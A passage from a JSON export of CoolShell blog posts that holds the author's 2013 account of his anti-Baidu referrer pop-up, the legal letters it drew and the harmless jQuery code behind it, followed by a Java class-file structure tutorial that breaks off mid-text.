href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-3-23 “作环保的程序员，从不用百度开始”.html",
    "content": "<html><body><p>酷壳对来自百度搜索引擎的访问会弹窗，但是我的这个行为发酵出了一些事情，这里把这个事情说明如下，我会更新相关的东西。内行看门道，外行看热闹。</p>\n<h4>事由</h4>\n<p><strong>2月6日</strong> 看到<a href=\"http://weibo.com/1497035431/zi69DBK3b\" rel=\"noopener\" target=\"_blank\">梁斌同学的微博</a>（起因可能是因为梁斌同学在微博上对帮助百度的一些工程师们说话导致他的“<a href=\"http://xunren.thuir.org/\" rel=\"noopener\" target=\"_blank\">微博寻人</a>”全站被百度屏蔽）</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"348\" src=\"../wp-content/uploads/2013/03/01.png\" width=\"591\"/></p>\n<p>我看到后，觉得梁斌同学有点太看重被百度收录了，没有站长应该有的气质，所以，我<a href=\"http://weibo.com/1401880315/zibYUvZYd\" rel=\"noopener\" target=\"_blank\">回了一个微博</a>——</p>\n<blockquote><p>“我的酷壳倒反而因为被百度收录而感到掉价！”</p></blockquote>\n<p><strong>2月6日当天</strong>，我给coolshell做了个弹窗，并发布微博—— （该微博目前已被新浪管理员删除，后面有说明）</p>\n<p><span id=\"more-9308\"></span></p>\n<blockquote><p>“搞定收工！从百度访问过来的访问弹出对话框。（CoolShell上的网页有缓存，要过些时间才有效）”</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9315\" height=\"261\" src=\"../wp-content/uploads/2013/03/02.png\" width=\"522\"/></p></blockquote>\n<p><strong>2月21日</strong>：百度的法律顾问发来邮件。</p>\n<blockquote><p>From: xxxxxx@baidu.com<br/>\nTo: haoel@hotmail.com<br/>\nCC: xxxxxx@baidu.com<br/>\nSubject: 答复: 网站coolshell.cn弹窗事宜<br/>\nDate: Thu, 21 Feb 2013 07:05:09 +0000</p>\n<p>陈浩，您好！</p>\n<p>我是百度法务部法律顾问，就您的网站上有贬损百度商标的弹窗，以及通过微博等途径予以传播事宜，我们希望您及时终止。</p>\n<p>如您不希望百度搜索收录您的网页，您可以通过Robots 协议予以规定。关于如何禁止百度Robots收录您的网站，如您需要技术方面的支持，我可以协助联系百度的工程师与您沟通。</p>\n<p>如有任何问题，请随时联系。</p>\n<p>谢谢！</p>\n<p>段志勇</p></blockquote>\n<p>我当天回复邮件到——</p>\n<blockquote><p>『我是酷壳的法律顾问，请百度停止收录酷壳的网页，以及在所有百度产品线里删除酷壳的文章，尤其是百度文库里我所有的文章和PPT，你们已经违反了中华人民共和国版权著作法，酷壳将保留行使法律的权力』</p></blockquote>\n<p><strong>3月2日</strong>：<a href=\"http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d\" rel=\"noopener\" target=\"_blank\">新浪微博举报大厅</a>。（把我2月6日弹窗的微博给删除了，注意，其中没有我自辩的过程，还有其中荒唐的逻辑）</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d\" rel=\"noopener\" target=\"_blank\">http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d</a></p>\n<p style=\"padding-left: 30px;\">我问新浪为什么没有我自辩的过程，新浪微博客服回服如下：</p>\n<blockquote><p> 尊敬的新浪微博用户： 您好！关于您反馈的被举报问题，经核实此判决符合社区公约规定判定无误，感谢您的支持，祝您生活愉快~~</p></blockquote>\n<p style=\"padding-left: 30px;\">我没有多理会，留下一条“<a href=\"http://weibo.com/1401880315/zlCT8v4si\" rel=\"noopener\" target=\"_blank\">多谢新浪和百度的自黑</a>”的微博我也没管这事了。</p>\n<p><strong>3月22日</strong>：收到了来自百度律师代理的邮件，如下：</p>\n<blockquote><p>From: xxxxx@teehowe.com<br/>\nTo: haoel@hotmail.com<br/>\nSubject: 关于贵方酷壳网弹窗构成对百度公司的不正当竞争事宜<br/>\nDate: Fri, 22 Mar 2013 10:07:10 +0800</p>\n<p>陈先生，您好！</p>\n<p>我们，北京天昊联合知识产权代理有限公司，受百度在线网络技术（北京）有限公司（以下简称“百度公司”）委托就题述事宜特致函贵方（委托书请见附件）。</p>\n<p>百度公司近日发现：用户在使用谷歌、360等浏览器通过百度搜索访问您方酷壳网（<a href=\"https://coolshell.cn/\" rel=\"noopener\" target=\"_blank\" title=\"https://coolshell.cn/\">https://coolshell.cn/</a>）时，会弹窗一个小窗，上面将百度LOGO打叉，并使用“DO EVIL”、“做环保的程序员，从不用百度开始！”等标语，详细截图后附。我们认为：您方弹窗所含图像及语言描述缺乏事实基础，带有较强的感情色彩，足以误导互联网用户对百度公司产生不合理的怀疑乃至负面评价，从而对百度公司的商业信誉和品牌形象带来一定程度的贬损。根据《反不正当竞争法》第2、14、20条之规定，您方行为已构成对百度公司的不正当竞争。</p>\n<p>我们希望您方在收到此函后，清除所有相关侵权程序，立即停止对百度公司的所有侵权行为。我所当事人要求：贵方最迟于<strong><span style=\"text-decoration: underline;\">2013年3月25日</span></strong>前向以下通信地址做出实质回应：</p>\n<p>联系人：郑洪<br/>\n地址：北京市东城区建国门内大街28号民生金融中心D座10层<br/>\n邮编：100005<br/>\n电话：010-8529 5526<br/>\n传真：010-8529 5528</p>\n<p>此信函不影响我方当事人依法所享有的其他任何权利或法律救济途径。我们希望此纠纷能尽快解决，以维护互联网市场的健康有序发展。</p>\n<p>期待你方及时回复。如有任何问题，请随时与我们联系！</p>\n<p>郑洪</p></blockquote>\n<p>弹窗的抓图附件我就不列了，其中有一个委托书附件如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9324\" height=\"500\" src=\"../wp-content/uploads/2013/03/委托书.png\" width=\"470\"/></p>\n<h4>几个观点</h4>\n<p><strong>1）我非常不喜欢百度公司的非常浓重的商业化</strong></p>\n<p style=\"padding-left: 30px;\">我在《<strong><a href=\"https://coolshell.cn/articles/7186.html\" rel=\"noopener\" target=\"_blank\">做个环保主义的程序员</a></strong>》一文中说过一些百度的问题，如：</p>\n<ul>\n<li><strong>搜索结果很差</strong>。一些非技术的东西都搜不出来。技术文章就更不要说了。再比如百度抓取酷壳的网页，一方面是不及时，另一方面是有选择地抓，很多网页并没有抓取到源文，而是抓取到那些转载过去没有注明出处的网站，像《<strong><a href=\"https://coolshell.cn/articles/7186.html\" rel=\"noopener\" target=\"_blank\">做个环保主义的程序员</a></strong>》文章发布一年多了，过去的一年在百度里就查不到（这几天又能查到了）。（<strong>我很想了解百度的一些抓取网页的算法和搜索排名的算法，感觉相当诡异</strong>）</li>\n</ul>\n<ul>\n<li><strong>有很多虚假广告</strong>。<strong>我觉得一家公司商业化并没有什么问题，但是这种商业化不应建立在牺牲用户利益的基础上的，这是最最基本的底线</strong>。我觉得百度的商业上在这方面突破了太多的底线。</li>\n</ul>\n<p><strong>2）百度应该可以做得更好</strong></p>\n<p style=\"padding-left: 30px;\">@<a href=\"http://weibo.com/acumon\" title=\"陈晓鸣在百度\">陈晓鸣在百度</a>在私下给我介绍了一些百度的广告方面的技术细节，说是以前的那个竞价排名不存在了。但是难免有一些垃圾和造假。就像淘宝一样也有假货和诈骗。是的，<strong>这中国目前这个大环境下，要有一个干净的平台的确不容易。但是我希望百度能像淘宝一样，在业务上做一些打击虚假信息的活动——建立举报制，曝光所有的虚假和欺诈信息，并有一些惩罚措施。可惜百度做得还很不够主动</strong>。（<span style=\"color: #cc0000;\"><strong>与其花时间在我这里，不如花时间做好你自己的事</strong></span>）</p>\n<p style=\"padding-left: 30px;\"><strong>灰尘总是会有的，重点不在于灰尘和垃圾总是会有，重点在于想不想打扫。想不想打扫这是态度问题</strong>。</p>\n<p><strong>3）看不起百度并不是看不起百度的技术人员</strong></p>\n<p style=\"padding-left: 30px;\"><strong>我是比较敬重百度的技术人员的。我还是能够“一分为二的看问题”</strong>。比如：deep learning专家余凯、主导凤巢设计的戴文渊，自然语言处理顶级会议的首任华人主席王海峰，架构专家，移动云技术负责人林仕鼎等等。都是值得我学习的很不错的技术牛人。</p>\n<p style=\"padding-left: 30px;\">我一向是站在技术人员这边的。这点，在这个事件中也不会改变。<strong>我还是会推荐一些刚毕业的实在找不到更好工作的学生去百度</strong>。正如我在《<a href=\"https://coolshell.cn/articles/5815.html\" rel=\"noopener\" target=\"_blank\" title=\"来信， 创业 和 移动互联网\">来信，创业，移动互联网</a>》一文中说的那样。入世和出世，取其精华去其糟粕。</p>\n<p>4）<strong>关于弹窗这个事</strong></p>\n<p style=\"padding-left: 30px;\">关于弹窗这个事，<strong>我非常高兴酷壳成为了百度的竞争对手</strong>。我会接受网友的意见，<span style=\"color: #cc0000;\"><strong>我会将把弹窗这个事变成不弹窗，直接嵌在酷壳的每一篇文章里</strong></span>。酷壳上基本坚持不投放任何广告，这回一定要做个公益广告。</p>\n<p style=\"padding-left: 30px;\">关于法律上的一些事情，我无所谓，<span style=\"color: #cc0000;\"><strong>随时欢迎百度来起诉我，不来起诉就是怂包</strong></span>。以前当过原告起诉过清华大学出版社，今天当个被告，这样我的人生经历就完整了。大家知道，人生经历对我很重要。</p>\n<p><strong>5）感动和回报</strong></p>\n<p style=\"padding-left: 30px;\">我把百度委托律师给我的邮件放到了我的微博里（<a href=\"http://weibo.com/1401880315/zoF7ucEeR\" rel=\"noopener\" target=\"_blank\" title=\"新浪微博上的百度律师邮件\">点击这里</a>），很多朋友说要捐钱给我打官司。这点到是不需要了。但是我真的很感动。所以——</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #cc0000; font-size: 16px;\"><strong>我觉得我应该更多的珍惜大家对我的支持。如果你们在访问一些网站有什么困难的话，可以私下联系我，我愿意为你们提供相关的技术支持。这个事只能在私下做，你们懂的</strong></span>。</p>\n<p style=\"padding-left: 30px;\"><strong>当然，最好方式还是自建代理，如果你想DIY，<a href=\"https://github.com/haoel/haoel.github.io\" rel=\"noopener\" target=\"_blank\">你可以看看这篇文章</a>。</strong></p>\n<h4>附录：弹窗代码</h4>\n<p>大家问我那个弹窗是怎么做的，很简单的，可以看看coolshell.cn的源代码。就是从referrer中匹配baidu。我用了jquery的一个插件：<a href=\"http://dinbror.dk/bpopup/\" rel=\"noopener\" target=\"_blank\">bPopup</a>，关于那个no baidu插图来自：<a href=\"http://www.douban.com/online/10132155/\" rel=\"noopener\" target=\"_blank\">豆瓣的拒绝百度的兴趣小组</a>。</p>\n<p>源码如下：<strong><a href=\"http://weibo.com/n/Ninja_Lu\" rel=\"noopener\" target=\"_blank\">@Ninja_Lu</a> 做了一个github的：<a href=\"https://github.com/lurongkai/anti-baidu\" rel=\"noopener\" target=\"_blank\">https://github.com/lurongkai/anti-baidu </a></strong></p>\n<pre class=\"EnlighterJSRAW\">\n&lt;script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js\"&gt;&lt;/script&gt;\n&lt;script src=\"https://coolshell.cn/wp-content/themes/inove/js/jquery.bpopup-0.8.0.min.js\"&gt;&lt;/script&gt;\n\n&lt;script type=\"text/javascript\"&gt;\n;(function($) {\n    $(function() {\n        var url=document.referrer;\n        if ( url &amp;&amp; url.search(\"http://\")&gt;-1) {\n            var refurl =  url.match(/:\\/\\/(.[^/]+)/)[1];\n            if(refurl.indexOf(\"baidu.com\")&gt;-1){\n                $('#nobaidu_dlg').bPopup();\n            }\n        }\n    });\n\n})(jQuery);\n&lt;/script&gt;\n\n&lt;div id=\"nobaidu_dlg\" style=\"background-color:#fff; border-radius:15px;color:#000;display:none;padding:20px;min-width:450px;min-height:180px;\"&gt;\n    &lt;img src=\"https://coolshell.cn/wp-content/themes/inove/img/nobaidu.jpg\" align=\"left\"&gt;\n     &lt;p style=\"margin-left:200px;margin-top: 20px; line-height: 30px;\"&gt;\n     检测到你还在使用百度这个搜索引擎，&lt;br/&gt;\n     做为一个程序员，这是一种自暴自弃！&lt;br/&gt;\n     &lt;br/&gt;\n     &lt;/p&gt;\n     &lt;p align=\"center\" style=\"margin-top:20px;\"&gt;\n     &lt;b&gt;&lt;a href=\"https://coolshell.cn/articles/7186.html\"&gt;作环保的程序员，从不用百度开始！&lt;/a&gt;&lt;/b&gt;\n     &lt;/p&gt;\n&lt;/div&gt;\n</pre>\n<p>P.S. robots.txt我已经加上了。</p>\n<p>（全文完，谢谢大家的支持）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9308.html\">“作环保的程序员，从不用百度开始”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-3-5 实例分析Java Class的文件结构.html",
    "content": "<html><body><p><strong>【感谢网友 @<a href=\"http://weibo.com/xmuzyq\" target=\"_blank\" title=\"Krq_Tiger\">Krq_Tiger</a> 投稿】</strong></p>\n<p>今天把之前在Evernote中的笔记重新整理了一下，发上来供对java class 文件结构的有兴趣的同学参考一下。</p>\n<p>学习Java的朋友应该都知道Java从刚开始的时候就打着平台无关性的旗号，说“一次编写，到处运行”，其实说到无关性，Java平台还有另外一个无关 性那就是语言无关性，要实现语言无关性，那么Java体系中的class的文件结构或者说是字节码就显得相当重要了，其实Java从刚开始的时候就有两套 规范，一个是Java语言规范，另外一个是Java虚拟机规范，Java语言规范只是规定了Java语言相关的约束以及规则，而虚拟机规范则才是真正从跨 平台的角度去设计的。今天我们就以一个实际的例子来看看，到底Java中一个Class文件对应的字节码应该是什么样子。 这篇文章将首先总体上阐述一下Class到底由哪些内容构成，然后再用一个实际的Java类入手去分析class的文件结构。</p>\n<p>在继续之前，我们首先需要明确如下几点：</p>\n<p style=\"padding-left: 30px;\">1）Class文件是有8个字节为基础的字节流构成的，这些字节流之间都严格按照规定的顺序排列，并且字节之间不存在任何空隙，对于超过8个字节的数据，将按 照Big-Endian的顺序存储的，也就是说高位字节存储在低的地址上面，而低位字节存储到高地址上面，其实这也是class文件要跨平台的关键，因为 PowerPC架构的处理采用Big-Endian的存储顺序，而x86系列的处理器则采用Little-Endian的存储顺序，因此为了Class文 件在各中处理器架构下保持统一的存储顺序，虚拟机规范必须对起进行统一。</p>\n<p style=\"padding-left: 30px;\">2） Class文件结构采用类似C语言的结构体来存储数据的，主要有两类数据项，无符号数和表，无符号数用来表述数字，索引引用以及字符串等，比如 u1,u2,u4,u8分别代表1个字节，2个字节，4个字节，8个字节的无符号数，而表是有多个无符号数以及其它的表组成的复合结构。可能大家看到这里 对无符号数和表到底是上面也不是很清楚，不过不要紧，等下面实例的时候，我会再以实例来解释。</p>\n<p>明确了上面的两点以后，我们接下来后来看看Class文件中按照严格的顺序排列的字节流都具体包含些什么数据：</p>\n<p><span id=\"more-9229\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"399\" src=\"../wp-content/uploads/2013/03/1.png\" title=\"点击查看原始大小图片\" width=\"700\"/></p>\n<p style=\"text-align: center;\">（上图来自The Java Virtual Machine Specification Java SE 7 Edition)</p>\n<p>在看上图的时候，有一点我们需要注意，比如cp_info，cp_info表示常量池，上图中用 constant_pool[constant_pool_count-1]的方式来表示常量池有constant_pool_count-1个常量，它 这里是采用数组的表现形式，但是大家不要误以为所有的常量池的常量长度都是一样的，其实这个地方只是为了方便描述采用了数组的方式，但是这里并不像编程语 言那里，一个int型的数组，每个int长度都一样。明确了这一点以后，我们在回过头来看看上图中每一项都具体代表了什么含义。</p>\n<p>1）u4 magic 表示魔数，并且魔数占用了4个字节，魔数到底是做什么的呢？它其实就是表示一下这个文件的类型是一个Class文件，而不是一张JPG图片，或者AVI的电影。而Class文件对应的魔数是0xCAFEBABE.</p>\n<p>2）u2 minor_version 表示Class文件的次版本号，并且此版本号是u2类型的无符号数表示。</p>\n<p>3） u2 major_version 表示Class文件的主版本号，并且主版本号是u2类型的无符号数表示。major_version和minor_version主要用来表示当前的虚拟 机是否接受当前这种版本的Class文件。不同版本的Java编译器编译的Class文件对应的版本是不一样的。高版本的虚拟机支持低版本的编译器编译的 Class文件结构。比如Java SE 6.0对应的虚拟机支持Java SE 5.0的编译器编译的Class文件结构，反之则不行。</p>\n<p>4） u2 constant_pool_count 表示常量池的数量。这里我们需要重点来说一下常量池是什么东西，请大家不要与Jvm内存模型中的运行时常量池混淆了，Class文件中常量池主要存储了字 面量以及符号引用，其中字面量主要包括字符串，final常量的值或者某个属性的初始值等等，而符号引用主要存储类和接口的全限定名称，字段的名称以及描 述符，方法的名称以及描述符，这里名称可能大家都容易理解，至于描述符的概念，放到下面说字段表以及方法表的时候再说。另外大家都知道Jvm的内存模型中 有堆，栈，方法区，程序计数器构成，而方法区中又存在一块区域叫运行时常量池，运行时常量池中存放的东西其实也就是编译器长生的各种字面量以及符号引用， 只不过运行时常量池具有动态性，它可以在运行的时候向其中增加其它的常量进去，最具代表性的就是String的intern方法。</p>\n<p>5）cp_info 表示常量池，这里面就存在了上面说的各种各样的字面量和符号引用。放到常量池的中数据项在The Java Virtual Machine Specification Java SE 7 Edition 中一共有14个常量，每一种常量都是一个表，并且每种常量都用一个公共的部分tag来表示是哪种类型的常量。</p>\n<p>下面分别简单描述一下具体细节等到后面的实例 中我们再细化。</p>\n<ul>\n<li>CONSTANT_Utf8_info      tag标志位为1,   UTF-8编码的字符串</li>\n<li>CONSTANT_Integer_info  tag标志位为3， 整形字面量</li>\n<li>CONSTANT_Float_info     tag标志位为4， 浮点型字面量</li>\n<li>CONSTANT_Long_info     tag标志位为5， 长整形字面量</li>\n<li>CONSTANT_Double_info  tag标志位为6， 双精度字面量</li>\n<li>CONSTANT_Class_info    tag标志位为7， 类或接口的符号引用</li>\n<li>CONSTANT_String_info    tag标志位为8，字符串类型的字面量</li>\n<li>CONSTANT_Fieldref_info  tag标志位为9,  字段的符号引用</li>\n<li>CONSTANT_Methodref_info  tag标志位为10，类中方法的符号引用</li>\n<li>CONSTANT_InterfaceMethodref_info tag标志位为11, 接口中方法的符号引用</li>\n<li>CONSTANT_NameAndType_info tag 标志位为12，字段和方法的名称以及类型的符号引用</li>\n</ul>\n<p style=\"text-align: center;\">6） u2 access_flags 表示类或者接口的访问信息，具体如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"421\" src=\"../wp-content/uploads/2013/03/2.png\" title=\"点击查看原始大小图片\" width=\"700\"/></p>\n<p>7）u2 this_class 表示类的常量池索引，指向常量池中CONSTANT_Class_info的常量</p>\n<p>8）u2 super_class 表示超类的索引，指向常量池中CONSTANT_Class_info的常量</p>\n<p>9）u2 interface_counts 表示接口的数量</p>\n<p>10）u2 interface[interface_counts]表示接口表，它里面每一项都指向常量池中CONSTANT_Class_info常量</p>\n<p>11）u2 fields_count 表示类的实例变量和类变量的数量</p>\n<p>12） field_info fields[fields_count]表示字段表的信息，其中字段表的结构如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"159\" src=\"../wp-content/uploads/2013/03/3.png\" width=\"581\"/></p>\n<p>上图中access_flags表示字段的访问表示，比如字段是public,private，protect 等，name_index表示字段名 称，指向常量池中类型是CONSTANT_UTF8_info的常量，descriptor_index表示字段的描述符，它也指向常量池中类型为 CONSTANT_UTF8_info的常量，attributes_count表示字段表中的属性表的数量，而属性表是则是一种用与描述字段，方法以及 类的属性的可扩展的结构，不同版本的Java虚拟机所支持的属性表的数量是不同的。</p>\n<p>13） u2 methods_count表示方法表的数量</p>\n<p>14）method_info 表示方法表，方法表的具体结构如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"157\" src=\"../wp-content/uploads/2013/03/4.png\" width=\"550\"/><br/>\n其中access_flags表示方法的访问表示，name_index表示名称的索引，descriptor_index表示方法的描述 符，attributes_count以及attribute_info类似字段表中的属性表，只不过字段表和方法表中属性表中的属性是不同的，比如方法 表中就Code属性，表示方法的代码，而字段表中就没有Code属性。其中具体Class中到底有多少种属性，等到Class文件结构中的属性表的时候再 说说。</p>\n<p>15） attribute_count表示属性表的数量，说到属性表，我们需要明确以下几点：</p>\n<ul>\n<li>属性表存在于Class文件结构的最后，字段表，方法表以及Code属性中，也就是说属性表中也可以存在属性表</li>\n<li>属性表的长度是不固定的，不同的属性，属性表的长度是不同的</li>\n</ul>\n<p>上面说完了Class文件结构中每一项的构成以后，我们以一个实际的例子来解释以下上面所说的内容。</p>\n<pre class=\"EnlighterJSRAW\">package com.ejushang.TestClass;\n\npublic class TestClass implements Super{\n\nprivate static final int staticVar = 0;\n\nprivate int instanceVar=0;\n\npublic int instanceMethod(int param){\n return param+1;\n }\n\n}\n\ninterface Super{ }</pre>\n<p>通过jdk1.6.0_37的javac 编译后的TestClass.java对应的TestClass.class的二进制结构如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"400\" src=\"../wp-content/uploads/2013/03/5.png\" width=\"658\"/></p>\n<p>下面我们就根据前面所说的Class的文件结构来解析以下上图中字节流。</p>\n<p><strong>1）魔数</strong><br/>\n从Class的文件结构我们知道，刚开始的4个字节是魔数，上图中从地址00000000h-00000003h的内容就是魔数，从上图可知Class的文件的魔数是0xCAFEBABE。</p>\n<p><strong> 2）主次版本号</strong><br/>\n接下来的4个字节是主次版本号，有上图可知从00000004h-00000005h对应的是0x0000,因此Class的minor_version 为0x0000,从00000006h-00000007h对应的内容为0x0032,因此Class文件的major_version版本为 0x0032,这正好就是jdk1.6.0不带target参数编译后的Class对应的主次版本。</p>\n<p><strong> 3）常量池的数量</strong><br/>\n接下来的2个字节从00000008h-00000009h表示常量池的数量，由上图可以知道其值为0x0018，十进制为24个,但是对于常量池的数量 需要明确一点，常量池的数量是constant_pool_count-1，为什么减一，是因为索引0表示class中的数据项不引用任何常量池中的常 量。</p>\n<p><strong> 4）常量池</strong><br/>\n我们上面说了常量池中有不同类型的常量，下面就来看看TestClass.class的第一个常量，我们知道每个常量都有一个u1类型的tag标识来表示 常量的类型，上图中0000000ah处的内容为0x0A，转换成二级制是10，有上面的关于常量类型的描述可知tag为10的常量是Constant_Methodref_info,而Constant_Methodref_info的结够如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"120\" src=\"../wp-content/uploads/2013/03/6.png\" width=\"342\"/></p>\n<p>其中class_index指向常量池中类型为CONSTANT_Class_info的常量，从TestClass的二进制文件结构中可以看出 class_index的值为0x0004（地址为0000000bh-0000000ch)，也就是说指向第四个常量。</p>\n<p>name_and_type_index指向常量池中类型为CONSTANT_NameAndType_info常量。从上图可以看出name_and_type_index的值为0x0013，表示指向常量池中的第19个常量。</p>\n<p>接下来又可以通过同样的方法来找到常量池中的所有常量。不过JDK提供了一个方便的工具可以让我们查看常量池中所包含的常量。通过javap -verbose TestClass 即可得到所有常量池中的常量，截图如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"372\" src=\"../wp-content/uploads/2013/03/7.png\" width=\"689\"/></p>\n<p>从上图我们可以清楚的看到，TestClass中常量池有24个常量，不要忘记了第0个常量，因为第0个常量被用来表示 Class中的数据项不引用任何常量池中的常量。从上面的分析中我们得知TestClass的第一个常量表示方法，其中class_index指向的第四 个常量为java/lang/Object，name_and_type_index指向的第19个常量值为&lt;init&gt;:()V,从这里可 以看出第一个表示方法的常量表示的是java编译器生成的实例构造器方法。通过同样的方法可以分析常量池的其它常量。OK，分析完常量池，我们接下来再分 析下access_flags。<br/>\n<strong>5）u2 access_flags</strong> 表示类或者接口方面的访问信息，比如Class表示的是类还是接口，是否为public,static，final等。具体访问标示的含义之前已经说过 了，下面我们就来看看TestClass的访问标示。Class的访问标示是从0000010dh-0000010e，期值为0x0021，根据前面说的 各种访问标示的标志位，我们可以知道：0x0021=0x0001|0x0020 也即ACC_PUBLIC 和 ACC_SUPER为真，其中ACC_PUBLIC大家好理解，ACC_SUPER是jdk1.2之后编译的类都会带有的标志。</p>\n<p><strong>6）u2 this_class</strong> 表示类的索引值，用来表示类的全限定名称，类的索引值如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"396\" src=\"../wp-content/uploads/2013/03/8.png\" width=\"671\"/></p>\n<p>从上图可以清楚到看到，类索引值为0x0003，对应常量池的第三个常量，通过javap的结果，我们知道第三个常量为 CONSTANT_Class_info类型的常量，通过它可以知道类的全限定名称为：com/ejushang/TestClass /TestClass</p>\n<p><strong> 7）u2 super_class</strong> 表示当前类的父类的索引值，索引值所指向的常量池中类型为CONSTANT_Class_info的常量，父类的索引值如下图所示，其值为0x0004, 查看常量池的第四个常量，可知TestClass的父类的全限定名称为：java/lang/Object</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/03/9.png\" width=\"670\"/></p>\n<p><strong>8）interfaces_count和  interfaces[interfaces_count]</strong>表示接口数量以及具体的每一个接口，TestClass的接口数量以及接口如下图所示，其中 0x0001表示接口数量为1，而0x0005表示接口在常量池的索引值，找到常量池的第五个常量，其类型为CONSTANT_Class_info，其 值为：com/ejushang/TestClass/Super</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"400\" src=\"../wp-content/uploads/2013/03/10.png\" width=\"674\"/></p>\n<p style=\"text-align: center;\"><strong>9）fields_count 和 field_info</strong>, fields_count表示类中field_info表的数量，而field_info表示类的实例变量和类变量，这里需要注意的是 field_info不包含从父类继承过来的字段，field_info的结构如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"159\" src=\"../wp-content/uploads/2013/03/11.png\" width=\"581\"/></p>\n<p style=\"text-align: center;\">其中access_flags表示字段的访问标示，比如public,private,protected，static,final等，access_flags的取值如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"484\" src=\"../wp-content/uploads/2013/03/12.png\" title=\"点击查看原始大小图片\" width=\"700\"/></p>\n<p style=\"text-align: left;\">其中name_index 和 descriptor_index都是常量池的索引值，分别表示字段的名称和字段的描述符，字段的名称容易理解，但是字段的描述符如何理解呢？其实在JVM 规范中，对于字段的描述符规定如下图所示：<br/>\n<img alt=\"\" class=\"aligncenter\" height=\"408\" src=\"../wp-content/uploads/2013/03/13.png\" title=\"点击查看原始大小图片\" width=\"700\"/><br/>\n其中大家需要关注一下上图最后一行，它表示的是对一维数组的描述符，对于String[][]的描述符将是[[ Ljava/lang/String,而对于int[][]的描述符为[[I。接下来的attributes_count以及 attribute_info分别表示属性表的数量以及属性表。下面我们还是以上面的TestClass为例，来看看TestClass的字段表吧。</p>\n<p>首先我们来看一下字段的数量，TestClass的字段的数量如下图所示：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"395\" src=\"../wp-content/uploads/2013/03/14.png\" 